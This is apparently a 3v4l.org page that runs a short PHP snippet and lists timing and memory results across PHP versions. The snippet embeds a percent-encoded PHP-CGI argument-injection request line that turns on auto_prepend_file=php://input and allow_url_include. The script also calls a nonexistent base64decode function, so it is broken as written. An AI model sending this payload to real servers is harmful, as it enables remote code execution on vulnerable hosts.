3v4l.org

run code in 300+ PHP versions simultaneously
<?php $bitmask = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" . "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" . "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" . "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" . "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" . "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" . "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" . "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" . "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" . "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" . "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" . "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n"; echo base64decode($bitmask); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00416.75
8.3.50.0150.00617.30
8.3.40.0120.00818.68
8.3.30.0110.00418.83
8.3.20.0000.00818.65
8.3.10.0080.00020.65
8.3.00.0120.00319.38
8.2.180.0140.00716.75
8.2.170.0110.00422.96
8.2.160.0070.01320.53
8.2.150.0040.00424.18
8.2.140.0090.00624.66
8.2.130.0000.00726.16
8.2.120.0030.00519.31
8.2.110.0030.00622.27
8.2.100.0080.00417.71
8.2.90.0040.00417.63
8.2.80.0000.00818.95
8.2.70.0050.00317.50
8.2.60.0040.00417.50
8.2.50.0030.00617.63
8.2.40.0060.00317.75
8.2.30.0000.00717.63
8.2.20.0050.00519.44
8.2.10.0000.00717.79
8.2.00.0070.00017.76
8.1.280.0130.00725.92
8.1.270.0050.00324.66
8.1.260.0040.00426.35
8.1.250.0000.00728.09
8.1.240.0030.00623.84
8.1.230.0000.01219.09
8.1.220.0060.00317.74
8.1.210.0040.00418.77
8.1.200.0040.00417.35
8.1.190.0000.00817.23
8.1.180.0060.00318.10
8.1.170.0000.00917.62
8.1.160.0070.00018.85
8.1.150.0040.00418.61
8.1.140.0040.00417.53
8.1.130.0070.00017.73
8.1.120.0080.00317.45
8.1.110.0000.00717.33
8.1.100.0070.00017.32
8.1.90.0000.00717.34
8.1.80.0030.00317.45
8.1.70.0070.00017.38
8.1.60.0020.00517.52
8.1.50.0030.00517.45
8.1.40.0050.00317.52
8.1.30.0080.00017.67
8.1.20.0000.00717.73
8.1.10.0000.00817.61
8.1.00.0000.00817.44
8.0.300.0040.00418.77
8.0.290.0080.00016.63
8.0.280.0030.00318.04
8.0.270.0050.00518.05
8.0.260.0040.00416.92
8.0.250.0030.00517.00
8.0.240.0050.00216.97
8.0.230.0030.00317.00
8.0.220.0030.00316.85
8.0.210.0030.00416.86
8.0.200.0040.00416.87
8.0.190.0040.00416.88
8.0.180.0030.00516.92
8.0.170.0090.00016.80
8.0.160.0030.00316.92
8.0.150.0040.00416.84
8.0.140.0040.00416.84
8.0.130.0060.00013.36
8.0.120.0000.00716.80
8.0.110.0000.00816.73
8.0.100.0040.00416.82
8.0.90.0040.00417.00
8.0.80.0150.00016.89
8.0.70.0040.00416.79
8.0.60.0070.00016.97
8.0.50.0040.00416.99
8.0.30.0130.01016.98
8.0.20.0140.00617.22
8.0.10.0060.00316.92
8.0.00.0140.00916.54
7.4.330.0000.00412.95
7.4.320.0030.00316.50
7.4.300.0060.00016.56
7.4.290.0040.00416.64
7.4.280.0040.00416.68
7.4.270.0090.00016.64
7.4.260.0030.00313.26
7.4.250.0060.00316.55
7.4.240.0030.00316.59
7.4.230.0030.00316.54
7.4.220.0090.01516.45
7.4.210.0060.00916.57
7.4.200.0060.00016.34
7.4.190.0030.00316.78
7.4.160.0060.01016.43
7.4.150.0040.01316.70
7.4.140.0070.01016.59
7.4.130.0140.00316.62
7.4.120.0130.00516.59
7.4.110.0080.01416.58
7.4.100.0070.01016.52
7.4.90.0110.00616.42
7.4.80.0160.00016.48
7.4.70.0140.00316.55
7.4.60.0090.00916.60
7.4.50.0030.00916.70
7.4.40.0180.00016.44
7.4.30.0080.00816.64
7.4.00.0080.00714.85
7.3.330.0030.00313.19
7.3.320.0000.00713.07
7.3.310.0030.00316.38
7.3.300.0040.00416.20
7.3.290.0130.00316.23
7.3.280.0110.00516.33
7.3.270.0120.01216.28
7.3.260.0070.01116.39
7.3.250.0140.00516.29
7.3.240.0080.01116.34
7.3.230.0090.01216.55
7.3.210.0060.01116.40
7.3.200.0130.00319.39
7.3.190.0100.01216.33
7.3.180.0100.01016.47
7.3.170.0060.01016.41
7.3.160.0120.01216.24
7.3.120.0070.00914.84
7.3.110.0130.00314.73
7.3.100.0040.01114.89
7.3.90.0070.01114.70
7.3.80.0100.00714.74
7.3.70.0100.00314.86
7.3.60.0070.01014.68
7.3.50.0030.01014.91
7.3.40.0060.00914.88
7.3.30.0030.01014.69
7.3.20.0060.00916.73
7.3.10.0060.01216.35
7.3.00.0140.00016.57
7.2.330.0140.00716.21
7.2.320.0120.00616.69
7.2.310.0120.01016.37
7.2.300.0130.00416.65
7.2.290.0090.01216.54
7.2.250.0000.01714.57
7.2.240.0080.01115.06
7.2.230.0030.01214.59
7.2.220.0120.00614.70
7.2.210.0120.00415.13
7.2.200.0000.00914.64
7.2.190.0060.00914.56
7.2.180.0030.01014.78
7.2.170.0030.00615.02
7.2.60.0040.01216.77
7.2.00.0090.00319.39
7.1.330.0070.00715.72
7.1.320.0070.01015.78
7.1.310.0080.00415.54
7.1.300.0040.00415.69
7.1.290.0030.01315.65
7.1.280.0040.01115.77
7.1.270.0030.00915.31
7.1.260.0100.00715.47
7.1.200.0110.00315.63
7.1.100.0060.00618.16
7.1.70.0030.01016.91
7.1.60.0100.01319.40
7.1.50.0190.00934.59
7.1.00.0030.05322.45
7.0.200.0130.00614.91
7.0.140.0030.07322.12
7.0.120.0000.07721.96
7.0.60.0170.06020.06
7.0.50.0000.05717.94
7.0.40.0070.07017.79
7.0.30.0100.08317.73
7.0.20.0100.04717.73
7.0.10.0030.05717.64
7.0.00.0100.03717.75
5.6.280.0000.07721.14
5.6.210.0100.08020.55
5.6.200.0070.07318.12
5.6.190.0130.06018.22
5.6.180.0130.08018.12
5.6.170.0070.08318.08
5.6.160.0070.03718.18
5.6.150.0030.04018.07
5.6.140.0030.04018.20
5.6.130.0000.04318.14
5.6.120.0070.03718.21
5.6.110.0030.04018.14
5.6.100.0070.04318.17
5.6.90.0030.04318.13
5.6.80.0070.03717.48
5.6.70.0000.04017.54
5.6.60.0000.04017.49
5.6.50.0030.03717.50
5.6.40.0030.03717.47
5.6.30.0000.04017.46
5.6.20.0070.03317.53
5.6.10.0030.03717.45
5.6.00.0000.04017.42
5.5.350.0270.08020.29
5.5.340.0100.05317.89
5.5.330.0070.05017.91
5.5.320.0030.05717.98
5.5.310.0100.07318.02
5.5.300.0000.05018.00
5.5.290.0070.03717.93
5.5.280.0100.03318.01
5.5.270.0070.03717.91
5.5.260.0030.04017.92
5.5.250.0030.04017.79
5.5.240.0000.04017.30
5.5.230.0000.04017.27
5.5.220.0030.04017.29
5.5.210.0030.04017.25
5.5.200.0070.03317.32
5.5.190.0030.05017.32
5.5.180.0030.03717.23
5.5.160.0030.04017.33
5.5.150.0070.03317.25
5.5.140.0100.03017.28
5.5.130.0100.03017.26
5.5.120.0070.03317.21
5.5.110.0270.03717.25
5.5.100.0070.04017.26
5.5.90.0100.04317.25
5.5.80.0030.07317.19
5.5.70.0100.05317.20
5.5.60.0030.07017.16
5.5.50.0070.06317.15
5.5.40.0130.04017.25
5.5.30.0030.07017.20
5.5.20.0070.04717.11
5.5.10.0130.07317.25
5.5.00.0070.08017.25
5.4.450.0000.04319.33
5.4.440.0030.04019.38
5.4.430.0030.04319.14
5.4.420.0000.04019.43
5.4.410.0030.04719.19
5.4.400.0070.03319.08
5.4.390.0070.03318.89
5.4.380.0000.04018.98
5.4.370.0230.02318.82
5.4.360.0000.04319.21
5.4.350.0030.03718.98
5.4.340.0070.03318.82
5.4.320.0070.03319.14
5.4.310.0130.03319.01
5.4.300.0070.03319.09
5.4.290.0030.04019.10
5.4.280.0070.03718.83
5.4.270.0000.04019.12
5.4.260.0100.03018.96
5.4.250.0100.03719.00
5.4.240.0070.07719.02
5.4.230.0070.07018.98
5.4.220.0100.07318.98
5.4.210.0070.07718.88
5.4.200.0030.05318.97
5.4.190.0100.05319.20
5.4.180.0130.07019.08
5.4.170.0100.05318.98
5.4.160.0130.07019.01
5.4.150.0070.07718.98
5.4.140.0130.07016.29
5.4.130.0130.06316.30
5.4.120.0070.07316.25
5.4.110.0070.07716.19
5.4.100.0100.07016.33
5.4.90.0030.07316.29
5.4.80.0130.05316.24
5.4.70.0030.07316.24
5.4.60.0130.05716.14
5.4.50.0070.05316.23
5.4.40.0070.05716.28
5.4.30.0100.03316.20
5.4.20.0070.07016.40
5.4.10.0070.04716.34
5.4.00.0070.08715.80
5.3.290.0000.04014.75
5.3.280.0030.08314.42
5.3.270.0100.07714.57
5.3.260.0030.04714.46
5.3.250.0000.05714.57
5.3.240.0070.08014.56
5.3.230.0130.05314.51
5.3.220.0070.05714.55
5.3.210.0000.05714.53
5.3.200.0070.04014.53
5.3.190.0070.08014.54
5.3.180.0030.04714.50
5.3.170.0130.07014.41
5.3.160.0070.07314.55
5.3.150.0100.04714.52
5.3.140.0170.04314.54
5.3.130.0030.06714.54
5.3.120.0030.07314.63
5.3.110.0130.04714.46
5.3.100.0100.07314.00
5.3.90.0100.03713.87
5.3.80.0200.03713.78
5.3.70.0030.07013.95
5.3.60.0070.05713.77
5.3.50.0030.07313.91
5.3.40.0200.03313.90
5.3.30.0070.04013.88
5.3.20.0030.06013.55
5.3.10.0030.04713.61
5.3.00.0000.04313.54
5.2.170.0070.04311.08
5.2.160.0100.05711.12
5.2.150.0030.06011.11
5.2.140.0000.03711.17
5.2.130.0030.06711.09
5.2.120.0100.05710.93
5.2.110.0200.02311.07
5.2.100.0030.04710.88
5.2.90.0130.03011.07
5.2.80.0000.04011.23
5.2.70.0070.03311.06
5.2.60.0070.03010.83
5.2.50.0000.06310.85
5.2.40.0000.04010.91
5.2.30.0030.06010.94
5.2.20.0030.03710.91
5.2.10.0070.02710.91
5.2.00.0100.02310.74
5.1.60.0070.05310.07
5.1.50.0130.0379.98
5.1.40.0000.0439.91
5.1.30.0070.05310.25
5.1.20.0030.02710.32
5.1.10.0070.02710.05
5.1.00.0000.02710.11
5.0.50.0130.0308.75
5.0.40.0070.0438.75
5.0.30.0030.0638.75
5.0.20.0000.0238.75
5.0.10.0030.0178.75
5.0.00.0070.0278.75
4.4.90.0030.0338.75
4.4.80.0030.0278.75
4.4.70.0030.0338.75
4.4.60.0070.0238.75
4.4.50.0030.0208.75
4.4.40.0000.0478.75
4.4.30.0030.0338.75
4.4.20.0100.0138.75
4.4.10.0000.0378.75
4.4.00.0100.0308.75
4.3.110.0000.0408.75
4.3.100.0070.0238.75
4.3.90.0000.0178.75
4.3.80.0030.0308.75
4.3.70.0100.0138.75
4.3.60.0030.0338.75
4.3.50.0030.0208.75
4.3.40.0070.0308.75
4.3.30.0000.0238.75
4.3.20.0000.0238.75
4.3.10.0000.0338.75
4.3.00.0030.0338.75

preferences:
56.91 ms | 401 KiB | 5 Q